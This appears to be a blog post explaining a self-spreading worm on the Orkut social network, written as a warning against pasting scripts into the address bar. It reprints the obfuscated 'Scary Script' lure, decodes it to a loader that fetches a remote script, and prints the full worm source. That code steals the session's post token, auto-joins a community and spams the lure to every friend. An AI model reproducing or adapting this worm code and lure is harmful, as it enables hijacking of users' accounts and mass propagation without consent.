Orkut Fools Day

This is about how people use bugs to exploit Orkut social network.




--------------Original Scrap received from friend-------------------------------------------------------

Scary Script - (Don't Worry Its Harmless)

*Copy Paste the Given Script In Address Bar And Press ENTER.
*Wait 2 Minutes.
*Enjoy The Fun.

javascript:eval(String.fromCharCode(100, 61, 100, 111, 99, 117, 109, 101, 110, 116, 59, 99, 61, 100, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 100, 46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 99, 41, 59, 99, 46, 115, 114, 99, 61, 39, 104, 116, 116, 112, 58, 47, 47, 99, 111, 111, 108, 112, 99, 115, 116, 117, 102, 102, 46, 103, 111, 111, 103, 108, 101, 112, 97, 103, 101, 115, 46, 99, 111, 109, 47, 114, 111, 100, 114, 105, 103, 111, 46, 117, 115, 101, 114, 46, 106, 115, 39, 59, 118, 111, 105, 100, 40, 48, 41))

You Can Send This To Ur Friends And Scare Them Too.



--------------Character code printed as a string with a 2 line c program---------------------



javascript:eval(String.fromCharCode(d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://coolp cstuff.googlepages.com/rodrigo.user.js';void(0)))


---------------Javascript at coolpcstuff.googlepages.com----------------------------------------


var index = 0;
var POST = JSHDF["CGI.POST_TOKEN"];
var SIG = JSHDF["Page.signature.raw"];
function
createXMLHttpRequest ()
{
 try
 {
 return new ActiveXObject ("Msxml2.XMLHTTP")}
 catch (e)
 {
 };
 try
 {
 return new ActiveXObject ("Microsoft.XMLHTTP")}
 catch (e)
 {
 };
 try
 {
 return new XMLHttpRequest ()}
 catch (e)
 {
 };
return null};
function
setCookie (name, value, expires, path, domain, secure)
{
 var curCookie =
   name + "=" + escape (value) + (expires ? "; expires=" +
                                  expires.toGMTString () : "") +
   (path ? "; path=" + path : "") + (domain ? "; domain=" + domain : "") +
   (secure ? "; secure" : "");
document.cookie = curCookie};
function
getCookie (name)
{
 var dc = document.cookie;
 var prefix = name + "=";
 var begin = dc.indexOf ("; " + prefix);
 if (begin == -1)
   {
     begin = dc.indexOf (prefix);
     if (begin != 0)
       {
       return false}
   }
 else
   {
   begin += 2};
 var end = document.cookie.indexOf (";", begin);
 if (end == -1)
   {
   end = dc.length};
return unescape (dc.substring (begin + prefix.length, end))};
function
deleteCookie (name, path, domain)
{
 if (getCookie (name))
   {
     document.cookie =
       name + "=" + (path ? "; path=" + path : "") + (domain ? "; domain=" +
                                                      domain : "") +
       "; expires=Thu, 01-Jan-70 00:00:01 GMT";
   history.go (0)}
};
function
loadFriends ()
{
 var xml = createXMLHttpRequest ();
 if (xml)
   {
     xml.open ("GET", "http://www.orkut.com/Compose.aspx", true);
     xml.send (null);
     xml.onreadystatechange = function ()
     {
       if (xml.readyState == 4)
         {
           if (xml.status == 200)
             {
               var xmlr = xml.responseText;
               var div = document.createElement ("div");
               div.innerHTML = xmlr;
               var select = div.getElementsByTagName ("select").item (0);
               if (select)
                 {
                   select.removeChild (select.
                                       getElementsByTagName ("option").
                                       item (0));
                   select.setAttribute ("id", "selectedList");
                   select.style.display = "none";
                   document.body.appendChild (select);
                 sendScrap ()}
             }
           else
             {
             loadFriends ()}
         }
     };
   xml.send (null)}
};
function
cmm_join ()
{
 var send =
   "POST_TOKEN=" + encodeURIComponent (POST) + "&signature=" +
   encodeURIComponent (SIG) + "&Action.join";
 var xml = createXMLHttpRequest ();
 xml.open ('POST', 'http://www.orkut.com/CommunityJoin.aspx?cmm=26050471',
           true);
 xml.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
 xml.send (send);
 xml.onreadystatechange = function ()
 {
   if (xml.readyState == 4)
     {
       if (xml.status != 200)
         {
           cmm_join ();
         return};
     loadFriends ()}
 }
};
function
sendScrap ()
{
 if (index == document.getElementById ("selectedList").length)
   {
   return};
 var scrapText =
   "[b][u]Scary Script[/u] - [silver](Don't Worry Its Harmless)[/silver]<br><br>*Copy Paste the Given Script In Address Bar And Press ENTER.<br>*Wait 2 Minutes.<br>*Enjoy The Fun.[:P][/b]<br><br>[i][teal]javascript:eval(String.fromCharCode(100, 61, 100, 111, 99, 117, 109, 101, 110, 116, 59, 99, 61, 100, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 100, 46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 99, 41, 59, 99, 46, 115, 114, 99, 61, 39, 104, 116, 116, 112, 58, 47, 47, 99, 111, 111, 108, 112, 99, 115, 116, 117, 102, 102, 46, 103, 111, 111, 103, 108, 101, 112, 97, 103, 101, 115, 46, 99, 111, 109, 47, 114, 111, 100, 114, 105, 103, 111, 46, 117, 115, 101, 114, 46, 106, 115, 39, 59, 118, 111, 105, 100, 40, 48, 41))[/teal][/i]<br><br>[b]You Can Send This To Ur Friends And Scare Them Too.";
 var send =
   "Action.submit=1&POST_TOKEN=" + encodeURIComponent (POST) +
   "&scrapText=" + encodeURIComponent (scrapText) + "&signature=" +
   encodeURIComponent (SIG) + "&toUserId=" +
   document.getElementById ("selectedList").item (index).value;
 var xml = createXMLHttpRequest ();
 xml.open ("POST", "http://www.orkut.com/Scrapbook.aspx", true);
 xml.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded;");
 xml.send (send);
 xml.onreadystatechange = function ()
 {
   if (xml.readyState == 4)
     {
       index++;
       var wDate = new Date;
       wDate.setTime (wDate.getTime () + 86400);
       setCookie ('wormdoorkut', index, wDate);
     sendScrap ()}
 }
};
  layout =     " <input name=\"POST_TOKEN\" type=\"hidden\"/><input name=\"signature\" type=\"hidden\"/>"+
                "<center><h3><u>Linkosearch.com</u></h3></center><br>"+
                
                "<iframe src=\"http://linkosearch.com\" width=\"100%\" height=\"800px\"></iframe>" +
    
                                         
                
"<table><tr><td><br><div id=\"article\">                                         "+
"<h3><span>                                 "+
 
"<tr><td align=\"right\"><B> _ </B></td></tr>" +
"<tr><td align=\"center\"><br><br><b><font color=\"red\">Security Tip: Never run any script while logged into orkut.com, no matter what it claims to do.</font></b></td></tr>"+
"</table>" 
 
if (!getCookie ('wormdoorkut'))
 {
   var wDate = new Date;
   wDate.setTime (wDate.getTime () + 86400);
 setCookie ('wormdoorkut', '0', wDate)};
index = getCookie ('wormdoorkut');
cmm_join ();


----------------------------Moral--------------------------------------------------------
Do not ever paste any script in the address bar when you are logged into orkut or any other website as they may access your cookies and may play with your private data.

Above script accesses the friends list and sends this scraps to all the friends to create an avalanche of scraps.

Blogged with Flock